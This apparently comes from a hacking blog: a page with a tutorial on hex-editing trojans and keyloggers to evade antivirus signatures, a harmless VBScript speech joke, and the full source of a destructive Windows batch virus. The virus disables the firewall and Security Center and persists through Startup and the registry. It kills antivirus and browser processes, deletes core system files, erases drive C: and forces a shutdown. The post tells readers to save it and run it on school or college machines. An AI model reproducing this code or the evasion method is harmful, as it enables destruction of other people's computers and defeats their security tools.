Hiding Trojans: Hex Editing

One common problem all the hackers have been facing is the detection of the viruses or the trojans by the antiviruses.

The solution to this problem is Hex editing.In Hex editing we take the executable file and divide the file into several pieces with a tool called "file splitter".
Number of pieces depends on the size of the executable.Now each of this file is scanned by an antivirus, all the parts wont detect virus since the signature of the virus or the code that harms the system lies in anyone of the parts.


The part which detects virus is taken and again divided into pieces with the file splitter.
This process is continued until you find a smallest executable which detects the virus.

Open that part of executable in Hex editor and edit certain parts(eg:change a to A and such).
After making these changes compile this code again and the antivirus wont detect it.

Now all you gotta do is bring back the whole executable together.

This technique is common for all the viruses and keyloggers too.

To check your computer is male or female (not Hacking)

Here is a funny coding to check your gender of your computer

Copy the coding to notepad

CreateObject("SAPI.SpVoice").Speak"I love you."

and save it in gender.vbs

double click on the file the pc will tell " I LOVE YOU "  check whether voice is male or female

And post comments on here :)

Verry very Dangerous Virus Program using Batch Programming (part 12)

EFFECT OF VIRUS 

>Copy itself for multiple times.

>This will disable the restore option by deleting the restore file. 

>This will disable the login option.

>If this affect the system, then the user can't use his OS longer

source code:

start
color 5
title Your Fucked, lol
time 12:00
net stop "Security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
start
echo copy %0 >> c:\autoexec.bat
copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat
Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg
start c:\regstart.reg
copy %0 %systemroot%\shroom.bat > nul
start
copy %0 *.bat > nul
start
attrib +r +h virus.bat
attrib +r +h
RUNDLL32 USER32.DLL,SwapMouseButton
tskill msnmsgr
tskill Limewire
tskill iexplorer
tskill NMain
tskill Firefox
tskill explorer
tskill AVGUARD
msg * Awww Your computer is now fucked
msg * You got owned!
msg * Say Bye to your computer n00b
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
del "C:\WINDOWS\pchealth\"
del "C:\WINDOWS\system\"
del "C:\WINDOWS\system32\restore\"
del "C:\WINDOWS\system32\logonui.exe"
del "C:\WINDOWS\system32\ntoskrnl.exe"
del "Winlogon.exe"
ERASE c:
start
shutdown - s -t 15 -c "15 Seconds and counting"
cd %userprofile%\Desktop
copy fixvirus.bat %userprofile%\Desktop
echo HAXHAXHAX
:LOOP
color 17
color 28
color 32
color 22
color 11
color 02
color 39
color 34
GOTO LOOP

Copy this code into notepad and save as shroom.bat(while saving select all files instead of text files)

Warning: This is dangerous virus. So Handle it with careful. Don't try in your pc or friend pc. Just try in your school or college.

goto part -11 of .bat virus programming (click here)